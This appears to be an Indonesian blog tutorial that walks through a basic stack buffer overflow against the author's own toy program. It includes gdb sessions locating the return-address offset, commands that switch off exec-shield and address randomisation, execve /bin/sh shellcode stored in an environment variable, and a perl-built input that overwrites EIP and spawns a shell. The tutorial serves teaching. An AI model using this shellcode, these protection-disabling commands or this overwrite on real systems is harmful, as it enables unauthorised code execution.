Buffer Overflow (Very) Basic Example

Sepertinya kurang lengkap kemarin saya nulis artikel tentang membuat shellcode tanpa tau bigimana manfaatin shellcodenya hehe. Pada kesempatan kali ini saya akan menjelaskan contoh real bagaimana manfaatin shellcode itu dengan memanfaatkan bug sebuah program. Untuk teori buffer overflownya tidak akan dijelaskan secara detail lagi disini, rencananya saya cuma pengen nulis dan capture hasil nya aja tanpa basa basi heheh. Jadi diharapkan pembaca sudah mengetahui pembagian (segmentasi) memori, register-register processor, dan shellcode. Baiklah kita mulai saja men-demokan apa kah itu buffer overflow…

Teknik bufferflow adalah teknik untuk memenuhi buffer pada program dengan code yang kita inginkan sehingga melebihi kapasitas buffer. Hal ini terjadi karena tidak dilakukan validasi pada buffer ketika pengisian buffer akan dilakukan. Contoh analoginya: ambil air 500mL di gelas A untuk di tuang ke gelas B yang cuma 100mL dah. Biasanya akan ada warning “Segmentation Fault” dan program akan crash/exit. Sebenarnya kita bisa memanfaatkan segmentasi yang overrun ini untuk hal-hal yang lebih menyenangkan daripada sekedar lihat program crash dan exit.

Ini adalah program S9 = “sangat sederhana sekali sehingga saya selalu sedih saat showing-nya” haha. Program ini bekerja dengan cara membaca argumen yang dimasukkan user dan akan ditampung ke buffer A. Di dalam program akan dilakukan penyalinan buffer A ke buffer B. Tapi buffer B dirancang oleh sang programmer hanya bisa muat dengan 3 bytes data. Saya memasukkan “abc” ke buffer. Seperti ini lah tampilannya:

[email protected]:~/Desktop/bof/demo$ ./S9 abc
[ATURAN] buffer B hanya bisa menampung 3 bytes data
[BEFORE] ini buffer A masukan anda: abc
[BEFORE] ini buffer B sekarang:
[PROCESSING...] menyalin isi buffer A ke buffer B
[AFTER] ini isi buffer A: abc
[AFTER] ini isi buffer B: abc
[email protected]:~/Desktop/bof/demo$

Dan ketika kita coba memasukkan input yang lebih dari buffer B seperti terlihat di contoh ke-2 dibawah ini, saya memasukkan “abcdefghijklmnopqrstuvwxyz” terjadi segmentation fault pada program.

[email protected]:~/Desktop/bof/demo$ ./S9 abcdefghijklmnopqrstuvwxyz
[ATURAN] buffer B hanya bisa menampung 3 bytes data
[BEFORE] ini buffer A masukan anda: abcdefghijklmnopqrstuvwxyz
[BEFORE] ini buffer B sekarang:
[PROCESSING...] menyalin isi buffer A ke buffer B
[AFTER] ini isi buffer A: abcdefghijklmnopqrstuvwxyz
[AFTER] ini isi buffer B: abcdefghijklmnopqrstuvwxyz
Segmentation fault
[email protected]:~/Desktop/bof/demo$

Mari kita lihat program ini lewat GNU Debugger untuk examine memori lebih dalam dan untuk kebutuhan exploitasi kita.

[email protected]:~/Desktop/bof/demo$ gdb S9
GNU gdb (GDB) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/inan/Desktop/bof/demo/S9...(no debugging symbols found)...done.
(gdb) run abcdefghijklmnopqrstuvwxyz
Starting program: /home/inan/Desktop/bof/demo/S9 abcdefghijklmnopqrstuvwxyz
[ATURAN] buffer B hanya bisa menampung 3 bytes data
[BEFORE] ini buffer A masukan anda: abcdefghijklmnopqrstuvwxyz
[BEFORE] ini buffer B sekarang:
[PROCESSING...] menyalin isi buffer A ke buffer B
[AFTER] ini isi buffer A: abcdefghijklmnopqrstuvwxyz
[AFTER] ini isi buffer B: abcdefghijklmnopqrstuvwxyz

Program received signal SIGSEGV, Segmentation fault.
0x73727170 in ?? ()
(gdb) info reg ebp eip
ebp            0x6f6e6d6c 0x6f6e6d6c
eip            0x73727170 0x73727170

Nah.. aturannya kan segmen memori untuk memproses program ini adalah:

  • Buffer: 3 bytes
  • Flags: 8 bytes
  • EBP: 4 bytes
  • RET/EIP: 4 bytes
  • Variable-variable lain (kalau ada)

Berarti teorinya kalau 3 byte pertama yang diterima adalah “abc”, terus karena isi buffer A masih banyak, terjadi overflow… Sehingga “defghijk” (8 bytes) menimpa isi Flags, “lmno” menimpa register EBP dan “pqrs” menimpa EIP. Nah setelah diinspeksi isi register ebp adalah 0x6f6e6d6c yang mana kalau di translasikan ke ASCII = “onml”. Lah kok kebalik bukan “lmno”? Ya, di memory semua diurut terbalik karena arsitektur sistem saya adalah menganut little endian format. Yah lanjut, kita cuekin saja isi register ebp karena singkatnya inti exploitasi buffer overflow adalah ingin menimpa register EIP dengan 4 bytes magic kita sendiri hahah. Yah isi eip untuk kasus di atas menjadi “srqp”. Berarti kesimpulannya untuk meng-overwrite EIP, “pqrs” harus kita ganti menjadi 4 bytes yang menuju ke instruksi yang kita inginkan (misalnya memanggil shell dsb).

Masih penasaran.. sekarang saya coba memasukkan karakter “abcdefghijklmnoAAAA” ke program S9 kita ini. Dengan harapan seperti ini:

  • Buffer: 3 bytes = abc
  • Flags: 8 bytes = defghijk
  • EBP: 4 bytes = lmno
  • RET/EIP: 4 bytes = AAAA

Inilah hasilnya ketika di debug dengan gdb..

(gdb) run abcdefghijklmnoAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/inan/Desktop/bof/demo/S9 abcdefghijklmnoAAAA
[ATURAN] buffer B hanya bisa menampung 3 bytes data
[BEFORE] ini buffer A masukan anda: abcdefghijklmnoAAAA
[BEFORE] ini buffer B sekarang:
[PROCESSING...] menyalin isi buffer A ke buffer B
[AFTER] ini isi buffer A: abcdefghijklmnoAAAA
[AFTER] ini isi buffer B: abcdefghijklmnoAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg ebp eip
ebp            0x6f6e6d6c	0x6f6e6d6c
eip            0x41414141   0x41414141
(gdb)

Oh benar saja ternyata eip sekarang berisi hexa 0x41414141. Apakah itu huruf “A” yang mengganti “pqrs” tadi? Ya huruf “A” dalam hexa adalah 0x41. Berarti sudah benar posisi target injeksi kita. Sekarang tinggal injeksi register EIP dengan address memori yang kita inginkan. Inget-inget… letaknya kalau diinjeksi dengan urutan abjad setelah huruf “o”. Berarti pola kita untuk meng-overwrite EIP unuk program ini adalah “15 bytes dummy data” + 4 bytes data spesial yang akan meng-overwrite EIP. Nah, bagaimana kalau kita mau overwrite EIP dengan hexa 0x42424242 di program ini? Berarti tinggal masukan saja argumen “abcdefghijklmnoBBBB” ke program. Ngerti kan? Hehe..

SPAWN A SHELL

Sekarang kita ke contoh bagaimana caranya program rutin yang error bisa memanggil sebuah shell? Pada contoh kali ini asumsi fitur proteksi eksekusi (exec_sheild dan randomize alamat memori pada kernel Linux sudah di matikan. Fitur exec-shield adalah untuk mencegah program mengeksekusi code diluar program. Sedangkan fitur randomize_va_space membuat alamat memori ketika menjalankan program akan menjadi random. Matikan itu semua! hahahah…

[email protected]:~# cat /proc/sys/kernel/exec-shield
1
[email protected]:~# cat /proc/sys/kernel/randomize_va_space
2
[email protected]:~# echo 0 > /proc/sys/kernel/exec-shield
[email protected]:~# echo 0 > /proc/sys/kernel/randomize_va_space
[email protected]:~#

Salah satu cara eksploitasi program ini adalah dengan menyimpan sebuah variable yang isinya adalah shellcode ke environment global shell. Sehingga kita akan export variable baru bernama SC yang berisi shellcode kita. Setelah di export, variable SC ini akan tersimpan di lokasi memori tertentu dan lokasi memori inilah yang akan kita cari dan overwrite ke EIP.  Di postingan sebelumnya, kita sudah tau bagaimana cara membuat shellcode hingga bisa nongol file shellcode.txt ini hehe.

[email protected]:~/Desktop/bof/demo$ cat shellcode.txt
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
[email protected]:~/Desktop/bof/demo$ for i in $(cat shellcode.txt | cut -d \" -f2); do echo -en $i; done > shellcode.bin
[email protected]:~/Desktop/bof/demo$ hexdump -C shellcode.bin
00000000  31 c0 31 db 31 c9 31 d2  50 68 2f 2f 73 68 68 2f  |1.1.1.1.Ph//shh/|
00000010  62 69 6e 89 e3 50 53 89  e1 31 d2 b0 0b cd 80     |bin..PS..1.....|
0000001f
[email protected]:~/Desktop/bof/demo$ export SC=$(cat shellcode.bin)
[email protected]:~/Desktop/bof/demo$
[email protected]:~/Desktop/bof/demo$
[email protected]:~/Desktop/bof/demo$ echo $SC
1?1?1?1?Ph//shh/bin??PS??1?

[email protected]:~/Desktop/bof/demo$

Yak sudah tersimpan di environment dengan nama variable SC. Oke, sekarang mari kita kembali ke GNU Debug (gdb) untuk mencoba mencari lokasi SC dan mengambilnya untuk nantinya dimasukkan ke format inputan program “abcdefghijklmnoXXXX“.

(gdb) run abcdefghijklmnopqrs
Starting program: /home/inan/Desktop/bof/demo/S9 abcdefghijklmnopqrs
[ATURAN] buffer B hanya bisa menampung 3 bytes data
[BEFORE] ini buffer A masukan anda: abcdefghijklmnopqrs
[BEFORE] ini buffer B sekarang:
[PROCESSING...] menyalin isi buffer A ke buffer B
[AFTER] ini isi buffer A: abcdefghijklmnopqrs
[AFTER] ini isi buffer B: abcdefghijklmnopqrs

Program received signal SIGSEGV, Segmentation fault.
0x73727170 in ?? ()
(gdb) x/60s $esp + 0x200
0xbffff5c0:	 "S\357\226\372_\265\335Grf\212i686"
0xbffff5d0:	 ""
0xbffff5d1:	 ""
0xbffff5d2:	 ""
0xbffff5d3:	 ""
0xbffff5d4:	 ""
0xbffff5d5:	 ""
0xbffff5d6:	 "/home/inan/Desktop/bof/demo/S9"
0xbffff5f5:	 "abcdefghijklmnopqrs"
0xbffff609:	 "ORBIT_SOCKETDIR=/tmp/orbit-inan"
0xbffff629:	 "SSH_AGENT_PID=1357"
0xbffff63c:	 "SHELL=/bin/bash"
0xbffff64c:	 "TERM=xterm"
0xbffff657:	 "XDG_SESSION_COOKIE=cfdd4f557767d56545519f8400000005-1324474801.529476-721973490"
0xbffff6a7:	 "WINDOWID=60817411"
0xbffff6b9:	 "GNOME_KEYRING_CONTROL=/tmp/keyring-FMmlCA"
0xbffff6e3:	 "GTK_MODULES=canberra-gtk-module"
0xbffff703:	 "USER=inan"
0xbffff70d:	 "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31"...
0xbffff7d5:	 ":*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:---Type  to continue, or q  to quit---
*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.d"...
0xbffff89d:	 "eb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35"...
0xbffff965:	 ":*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4"...
0xbffffa2d:	 "v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*."...
0xbffffaf5:	 "yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;3"...
0xbffffbbd:	 "6:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:"
0xbffffbfd:	 "SSH_AUTH_SOCK=/tmp/keyring-FMmlCA/ssh"
0xbffffc23:	 "USERNAME=inan"
0xbffffc31:	 "SESSION_MANAGER=local/ubuntu:@/tmp/.ICE-unix/1327,unix/ubuntu:/tmp/.ICE-unix/1327"
0xbffffc83:	 "DEFAULTS_PATH=/usr/share/gconf/gnome.default.path"
0xbffffcb5:	 "COLUMNS=80"
0xbffffcc0:	 "XDG_CONFIG_DIRS=/etc/xdg/xdg-gnome:/etc/xdg"
---Type  to continue, or q  to quit---
0xbffffcec:	 "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games"
0xbffffd39:	 "DESKTOP_SESSION=gnome"
0xbffffd4f:	 "_=/usr/bin/gdb"
0xbffffd5e:	 "PWD=/home/inan/Desktop/bof/demo"
0xbffffd7e:	 "GDM_KEYBOARD_LAYOUT=us"
0xbffffd95:	 "GNOME_KEYRING_PID=1308"
0xbffffdac:	 "LANG=en_US.utf8"
0xbffffdbc:	 "GDM_LANG=en_US.utf8"
0xbffffdd0:	 "MANDATORY_PATH=/usr/share/gconf/gnome.mandatory.path"
0xbffffe05:	 "LINES=24"
0xbffffe0e:	 "GDMSESSION=gnome"
0xbffffe1f:	 "SC=1\300\061\333\061\311\061\322Ph//shh/bin\211\343PS\211\341\061?\v?"
0xbffffe42:	 "HOME=/home/inan"
0xbffffe52:	 "SHLVL=1"
0xbffffe5a:	 "GNOME_DESKTOP_SESSION_ID=this-is-deprecated"
0xbffffe86:	 "LOGNAME=inan"
0xbffffe93:	 "DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-8Ey3roEp7D,guid=1bbb37e35c3cfc5e3669391000000061"
0xbffffef5:	 "XDG_DATA_DIRS=/usr/share/gnome:/usr/local/share/:/usr/share/"
0xbfffff32:	 "LESSOPEN=| /usr/bin/lesspipe %s"
0xbfffff52:	 "WINDOWPATH=7"
---Type  to continue, or q  to quit---
0xbfffff5f:	 "DISPLAY=:0.0"
0xbfffff6c:	 "LESSCLOSE=/usr/bin/lesspipe %s %s"
0xbfffff8e:	 "COLORTERM=gnome-terminal"
0xbfffffa7:	 "XAUTHORITY=/var/run/gdm/auth-for-inan-16kobl/database"
0xbfffffdd:	 "/home/inan/Desktop/bof/demo/S9"
0xbffffffc:	 ""
0xbffffffd:	 ""
0xbffffffe:	 ""
0xbfffffff:	 ""
(gdb)

Lihat secara seksama gdb di atas. Ternyata variable SC terletak di alamat memori 0xbffffe1f. Sebenarnya yang dibutuhkan tentu isi variable SC yang tak lain adalah perintah ke processor untuk mengeksekusi /bin/bash. Jadi processor tidak butuh karakter “SC=” nya. Jadi, isi variable SC ada di alamat memori mana? Gampang saja, tinggal tambahin alamat basisnya 0xbffffe1f dengan 3 bytes (SC=). Sehingga alamat memorinya ada di 0xbffffe22 (0xbffffe1f + 0x3 = 0xbffffe22). Ini buktinya:

(gdb) x/ 0xbffffe1f
0xbffffe1f:	 "SC=1\300\061\333\061\311\061\322Ph//shh/bin\211\343PS\211\341\061?\v?"
(gdb) x/ 0xbffffe20
0xbffffe20:	 "C=1\300\061\333\061\311\061\322Ph//shh/bin\211\343PS\211\341\061?\v?"
(gdb) x/ 0xbffffe21
0xbffffe21:	 "=1\300\061\333\061\311\061\322Ph//shh/bin\211\343PS\211\341\061?\v?"
(gdb) x/ 0xbffffe22
0xbffffe22:	 "1\300\061\333\061\311\061\322Ph//shh/bin\211\343PS\211\341\061?\v?"
(gdb)

Ya, itulah target memori pasti kita.. ada di 0xbffffe22!! Mari coba sekali lagi gdb, mestinya kita bisa mendapatkan shell jika kita tepat memasukkan alamat tersebut ke EIP.

(gdb) run abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')
Starting program: /home/inan/Desktop/bof/demo/S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')
[ATURAN] buffer B hanya bisa menampung 3 bytes data
[BEFORE] ini buffer A masukan anda: abcdefghijklmno"???
[BEFORE] ini buffer B sekarang:
[PROCESSING...] menyalin isi buffer A ke buffer B
[AFTER] ini isi buffer A: abcdefghijklmno"???
[AFTER] ini isi buffer B: abcdefghijklmno"???
process 2051 is executing new program: /bin/dash
$ whoami
inan
$ uname
Linux
$ id
uid=1000(inan) gid=1000(inan) groups=1000(inan),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare)
$ pwd
/home/inan/Desktop/bof/demo
$ #pwn'ed!!
$

Mari lihat runtutan cerita di atas ini dengan seksama. Seperti kita ketahui, bagi program S9 kita ini, untuk tepat menimpa register EIP adalah dengan memasukkan karakter pada buffer ke-16, 17, 18, dan 19 (“abcdefghijklmnoXXXX“). Sehingga yang akan kita lakukan adalah memasukkan karakter \xbf, \xff, \xfe, dan \x22 ke EIP sehingga EIP terisi 0xbffffe22 yang mana itu telah berisi shellcode perintah prosesor mengeksekusi /bin/sh.

(gdb) run abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')

Untuk memasukkan 0xbffffe22 ke EIP adalah seperti pada baris di atas itu. Saya menggunakan bantuan program perl untuk membantu print karakter hexa \x22 \xfe \xff \xbf ke dalam rangkaian inputan. Kalo diperhatikan, urutannya kebalik yah? Lagi-lagi karena sistem prosesor saya (Intel/AMD family) menganut paham little endian hahahah. Pada akhirnya EIP tertimpa dengan 0xbffffe22 dan return program bukan kembali ke main function program tetapi malah memanggil shell. Shell spawned.

One thought on “Buffer Overflow (Very) Basic Example

Leave a Reply

Your email address will not be published. Required fields are marked *